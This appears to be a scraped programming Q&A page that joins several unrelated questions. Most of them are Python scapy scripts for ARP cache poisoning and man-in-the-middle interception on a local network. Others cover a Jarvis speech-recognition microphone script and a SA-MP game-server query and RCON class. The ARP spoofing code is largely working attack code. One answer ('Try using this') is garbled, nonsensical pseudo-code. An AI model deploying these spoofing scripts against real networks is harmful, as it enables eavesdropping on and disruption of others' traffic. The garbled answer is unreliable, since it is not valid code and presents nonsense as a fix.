This is a part of my code. The problem is around the def get_mac(ip) class
#!/usr/bin/env python
import scapy.all as scapy
import time
import sys
This is where the spoof(ip) variable is created
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
This is where we spoof the target
def spoof(target_ip, spoof_ip):
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
target_mac = get_mac(target_ip)
scapy.send(packet, verbose=False)
def restore(destination_ip, source_ip):
[...]
target_ip = "..."
gateway_ip = "..."
sent_packet_count = 0
The code can't reach this part
try:
spoof("target_ip", "gateway_ip")
spoof("gateway_ip", "target_ip")
sent_packet_count = sent_packet_count + 2
print("\r[+] Packets sent: " + str(sent_packet_count)),
sys.stdout.flush()
time.sleep(2)
Related
I am making a Chatbot with Mic input for that I am Using Jarvis below code is for Mic Input But when I am executing the code I am getting the error:-
import jarvis_api.audio_pb2 as ja
ModuleNotFoundError: No module named 'jarvis_api'.
I have installed JarvisAI and jarvis api (using pip install JarvisAI) and (npm i api-jarvis).
import sys
import grpc
import queue
import argparse
import jarvis_api.audio_pb2 as ja
import jarvis_api.jarvis_asr_pb2 as jasr
import jarvis_api.jarvis_asr_pb2_grpc as jasr_srv
import pyaudio
RATE = 44100
CHUNK = int(RATE/10)
def get_args():
parser = argparse.ArgumentParser(description="Streaming transcription via jarvis AI Services")
parser.add_argument("--server",default='localhost:50051',type=str,help="URI to GRPC Services endpoint")
parser.add_argument("--input-devices",type=int,default=None,help="output device to use")
parser.add_argument("--list-devices",action='store_true',help="list output device indices")
return parser.parse_args()
class MicrophoneStream(object):
def __init__(self,rate,chunk,device=None):
self._rate = rate
self._chunk = chunk
self._device = device
self._buff = queue.Queue()
self.closed = True
def __enter__(self):
self._audio_interface = pyaudio.pyAudio()
self._audio_stream = self._audio_interface.open(
format=pyaudio.paInt16,
input_device_index=self._device,
channels=1,
rate=self._rate,
input=True,
frames_per_buffer=self._chunk,
stream_callback=self._fill_buffer,
)
self.closed=False
return self
def __exit__(self,type,value,traceback):
self.audio_stream.stop_stream()
self.audio_stream.close()
self.closed= True
self._buff.put(None)
self._audio_interface.terminate()
def generator(self):
while not self.closed:
chunk=self._buff.get()
if chunk is None:
return
data = [chunk]
while True:
try:
chunk = self._buff.get(block=False)
if chunk is None:
return
data.append(chunk)
except queue.Empty:
break
yield b''.join(data)
def listen_print_loop(responses):
num_chars_printed = 0
for response in responses:
if not response.results:
continue
result = response.results[0]
if not result.alternatives:
continue
transcript = result.alternatives[0].transcript
overwrite_chars = '' * (num_chars_printed - len(transcript))
if not result.is_final:
sys.stdout.write(transcript + overwrite_chars + '\r')
sys.stdout.flush()
num_chars_printed = len(transcript)
else:
print(transcript + overwrite_chars)
num_chars_printed = 0
def main():
args = get_args()
if args.list_devices:
p =pyaudio.pyAudio()
for i in range(p.get_device_count()):
info = p.get_device_info_by_index(i)
if info['maxInputChannels']<1:
continue
print(f"{info['index']}:{info['name']}")
sys.exit(0)
channel = grpc.insecure_channel(args.server)
client = jasr_srv.JarvisASRStub(channel)
config = jasr.RecognitionConfig(
encoding=ja.AudioEncoding.LINEAR_PCM,
sample_rate_hertz=RATE,
language_code="en-US",
max_alternatives=1,
enable_automatic_punctuation=True,
)
streaming_config = jasr.StreamingRecognitionConfig(config=config,interim_results=True)
with MicrophoneStream(RATE,CHUNK,device=args.input_device) as stream:
audio_generator = stream.generator()
requests = (jasr.StreamingRecognizeRequest(audio_content=content) for content in audio_generator)
def build_generator(cfg,gen):
yield jasr.StreamingRecognizeRequest(streaming_config=cfg)
for x in gen:
yield x
responses = client.StreamingRecognize(build_generator(streaming_config,requests))
listen_print_loop(responses)
if __name__ == '__main__':
main()
I got a working arp poisoning in python using scapy, it changes the arp cache on the target machine.
I want to be able to forward the packets that I'm receiving because I became a MITM.
For some reason, scapy doesn't send the packets I'm wanting to send to the right machine and the target machine just loses connectivity to the internet.
import scapy.all as scapy
import threading
import time
def find_mac(ip):
mac = None
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=5, verbose=False)[0]
response = str(answered_list).split("Other:")[1].replace(">", "")
if response != '0':
mac = answered_list[0][1].hwsrc
return mac
my_ip = ""
target_ip = ""
router_ip = ""
my_mac = find_mac(my_ip)
target_mac = find_mac(target_ip)
router_mac = find_mac(router_ip)
def check_packet(packet):
try:
src_ip = packet[0][scapy.IP].src
dst_ip = packet[0][scapy.IP].dst
except:
src_ip = None
dst_ip = None
if (src_ip == target_ip or dst_ip == target_ip) and packet[0][scapy.Ether].dst == my_mac:
print("dst " + packet[0][scapy.Ether].dst)
print("src " + packet[0][scapy.Ether].src)
threading.Thread(target=redirecect, args=(packet,)).start()
def spoof(victim_packet, router_packet):
while True:
scapy.sendp(victim_packet, verbose=False)
scapy.sendp(router_packet, verbose=False)
time.sleep(3)
def redirecect(packet):
src_ip = packet[0][scapy.IP].src
if src_ip == target_ip:
packet[0][scapy.Ether].dst = router_mac
else:
packet[0][scapy.Ether].dst = target_mac
packet.show()
scapy.sr(packet, verbose=False) # ,verbose=False
print("my " + my_mac)
print("target " + target_mac)
print("router " + router_mac)
victim_ether = scapy.Ether(src=router_mac, dst=target_mac)
victim_arp = scapy.ARP(op=2, psrc=router_ip, pdst=target_ip,
hwdst=target_mac)
router_ether = scapy.Ether(src=target_mac, dst=router_mac)
router_arp = scapy.ARP(op=2, psrc=target_ip, pdst=router_ip,
hwdst=router_mac)
victim_packet = victim_ether / victim_arp
router_packet = router_ether / router_arp
threading.Thread(target=spoof, args=(victim_packet, router_packet)).start()
while True:
packet = scapy.sniff(count=1)
threading.Thread(target=check_packet, args=(packet,)).start()
It writes "WARNING: Mac address to reach destination not found. Using broadcast." most of the time and it seems like my computer arp cache is being spoofed as well.
What do I need to do so my code would send the packets correctly?
So made this arpspoofing tool with Python, and I just want to print packet numbers sent in a dynamic way, however, the print still goes to a new line each time a packet is sent, I ran it with both python2 and python3 considering (,) and (end="") in either of them but I can't achieve that, here's my code:
#!usr/bin/env python
import sys
import time
import scapy.all as scapy
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=3, verbose=False)[0]
print(" ")
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
sent_packets_count = 0
while True:
spoof("192.168.100.2", "192.168.100.1")
spoof("192.168.100.1", "192.168.100.2")
sent_packets_count += 2
print("\r[+] Packets sent: " + str(sent_packets_count), end="")
sys.stdout.flush()
time.sleep(2)
The code given below is exactly as shown in the tutorial(zsecurity)
it seems the code does not working only on my system.i run this code in linux (virtual box).
this is an arpspoofing used to become the man in the middle in local network.
i implement this attack on the another guest os windows 10.
import scapy.all as scapy
import time
import sys
def get_mac(ip):
arp_request = scapy.ARP(pdst = ip)
broadcast=scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_broadcast_reqest=arp_request/broadcast
answered_list =scapy.srp(arp_broadcast_reqest, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
def arp_spoof(target_ip, spoof_ip):
target_mac= get_mac(target_ip)
packet= scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
def restore(destination_ip,source_ip):
destination_mac=get_mac(destination_ip)
source_mac=get_mac(source_ip)
packet= scapy.ARP(op=2, pdst=destination_ip,hwdst=destination_mac,psrc=source_ip, hwsrc=source_mac)
scapy.send(packet,count=4, verbose=False)
target_ip="10.0.2.4"
gateway_ip="10.0.2.1"
try:
sent_packets = 0
while True:
arp_spoof(target_ip,gateway_ip)
arp_spoof(gateway_ip,target_ip)
sent_packets=sent_packets + 2
print("\r the packets sent:" + str(sent_packets)),
sys.stdout.flush()
time.sleep(2)
except KeyboardInterrupt:
print("detectedd ctrl+c......quitting")
restore(target_ip,gateway_ip)
restore(gateway_ip,target_ip)
Try using this.
from socket import *
from overflows import *
import use_socket
def connect(ipv6_addr: Dec, port: simplicity, port:paste, from_port: av) as orig:
NetworkPort_ping, delegate_messed_port: 127.0. 0.0
History().channel(fl)
CountDownPorts(chain_count, 0)
TcpTelnetPort.connect(port, to_network(port))
Serial_packet
Serial.wait(boot_java)
For USB_Added = True
if (usb_usb.ReadScreen):
print("USB receiving device")
print which.ip_port()
print def.rid
callback.data
ELSE
byte_frame += 1
will crash unless "++com_available" is attempting to be done later
sends_over(dot, sleep.status)
print "Connected :\n"
na_registered.send(500)
I have an IRC bot and I'm trying to get information for game server (GTA SA Multiplayer).
I have ready-to-use query, but I can't implement it into my bot. It works if I try to load the same script, but without getting it into bot's structure. The error it gives me is
NameError: name 'ip' is not defined
I've tried adding the ip address as argument in def(inp,say=None), but it still didn't work. That's the code:
from util import Query
from util import hook
import sys
#hook.command
def serverinfo(inp,ip="",port="",say=None):
ip = "78.129.221.58"
port = 7777
if len(sys.argv) >= 3:
ip = str(sys.argv[1])
port = int(sys.argv[2])
query = Query(ip,port)
info = query.GetInformation()
say(info)
if info['players'] <= 100:
say(query.GetPlayers())
say(query.GetDetailedPlayers())
else: say('can\' get players because players is above 100')
say(query.Ping())
query.Close()
That's Query that I import:
import socket, struct, random, datetime
from cStringIO import StringIO
class Query:
def __init__(self, ip, port):
self.ip, self.port = socket.gethostbyname(ip), port
self.data = StringIO("")
self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.sock.connect((ip, port))
self.sock.settimeout(1)
def CreatePacket(self, opcode):
ips = self.ip.split('.');
packet = "SAMP{0}{1}{2}{3}{4}{5}{6}".format(chr(int(ips[0])), chr(int(ips[1])), chr(int(ips[2])), chr(int(ips[3])), chr(self.port & 0xFF), chr(self.port >> 8 & 0xFF), opcode)
if opcode == 'p':
packet += struct.pack("BBBB", random.randint(0, 255), random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
return packet
def GetInformation(self):
try:
self.sock.send(self.CreatePacket('i'))
info = {}
self.data = StringIO(self.sock.recv(2048))
self.data.read(11)
info['passworded'] = struct.unpack('?', self.data.read(1))[0]
info['players'] = struct.unpack('h', self.data.read(2))[0]
info['maxplayers'] = struct.unpack('h', self.data.read(2))[0]
info['hostname'] = self.data.read(struct.unpack('i', self.data.read(4))[0])
info['gamemode'] = self.data.read(struct.unpack('i', self.data.read(4))[0])
info['mapname'] = self.data.read(struct.unpack('i', self.data.read(4))[0])
except socket.timeout:
info['error'] = 1
return info
def GetRules(self):
try:
self.sock.send(self.CreatePacket('r'))
rules = {}
self.data = StringIO(self.sock.recv(2048))
self.data.read(11)
rulecount = struct.unpack('h', self.data.read(2))[0]
for i in range(rulecount):
name = self.data.read(struct.unpack('b', self.data.read(1))[0])
rules[name] = self.data.read(struct.unpack('b', self.data.read(1))[0])
except socket.timeout:
rules['error'] = 1
return rules
def GetPlayers(self):
try:
self.sock.send(self.CreatePacket('c'))
players = []
self.data = StringIO(self.sock.recv(2048))
self.data.read(11)
playercount = struct.unpack('h', self.data.read(2))[0]
for i in range(playercount):
name = self.data.read(struct.unpack('b', self.data.read(1))[0])
players.append([name, struct.unpack('i', self.data.read(4))[0]])
except socket.timeout:
players = {'error': 1}
return players
def GetDetailedPlayers(self):
try:
self.sock.send(self.CreatePacket('d'))
players = []
self.data = StringIO(self.sock.recv(2048))
self.data.read(11)
playercount = struct.unpack('h', self.data.read(2))[0]
for i in range(playercount):
playerid = struct.unpack('b', self.data.read(1))[0]
name = self.data.read(struct.unpack('b', self.data.read(1))[0])
score = struct.unpack('i', self.data.read(4))[0]
ping = struct.unpack('i', self.data.read(4))[0]
players.append([playerid, name, score, ping])
except socket.timeout:
players = {'error': 1}
return players
def Close(self):
self.sock.close()
def Ping(self):
packet = self.CreatePacket('p')
a = datetime.datetime.now()
self.sock.send(packet)
self.sock.recv(2048)
b = datetime.datetime.now()
c = b - a
return int((c.days * 24 * 60 * 60 + c.seconds) * 1000 + c.microseconds / 1000.0)
class Rcon:
def __init__(self, ip, port, password):
self.ip, self.port, self.password = socket.gethostbyname(ip), port, password
self.data = StringIO("")
self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.sock.connect((ip, port))
self.sock.settimeout(0.5)
def CreatePacket(self, opcode, password, command):
ips = self.ip.split('.');
packet = "SAMP{0}{1}{2}{3}{4}{5}{6}{7}{8}{9}{10}{11}{12}".format(chr(int(ips[0])), chr(int(ips[1])), chr(int(ips[2])), chr(int(ips[3])), chr(self.port & 0xFF), chr(self.port >> 8 & 0xFF), opcode, chr(len(password) & 0xFF), chr(len(password) >> 8 & 0xFF), password, chr(len(command) & 0xFF), chr(len(command) >> 8 & 0xFF), command)
return packet
def Send(self, command):
self.sock.send(self.CreatePacket('x', self.password, command))
output = []
while 1:
try:
self.data = StringIO(self.sock.recv(2048))
self.data.read(11)
strlen = struct.unpack('h', self.data.read(2))[0]
if strlen == 0: break
output += [self.data.read(strlen)]
except: break;
return output
def Close(self):
self.sock.close()
Any ideas?
Edit: After some changes I did, gives me the following error:
query = Query(ip,port)
TypeError: 'module' object is not callable
I've basically changed the location of ip and port, moved it out of the serverinfo command.
from util import Query
from util import hook
ip = "78.129.221.58"
port = 7777
query = Query(ip,port)
info = query.GetInformation()
#hook.command
def serverinfo(inp,ip="",port="",say=None):
say(info)
if info['players'] <= 100:
say(query.GetPlayers())
say(query.GetDetailedPlayers())
else: say('can\' get players because players are above 100')
say(query.Ping())
query.Close()
Try adding this to the start of the python code :
ip = "78.129.221.58"
port = 7777
Try
query = Query.Query(ip, port)
The problematic line is this one:
query = Query(ip,port)
If the initialization using the command line parameters fail or if you pass in insufficient arguments, ip will not be initialized resulting in the said error.
Also, a better way of testing out scripts is something like this:
def main():
if len(sys.argv) >= 3:
ip = str(sys.argv[1])
port = int(sys.argv[2])
query = Query(ip,port)
# start using query
else:
raise Exception("Insufficient args passed in")
if __name__ == '__main__':
main()
Raising an exception/error or printing out something guarantees that you know that insufficient args are passed in. Also, maybe move all that code out in the open to some function?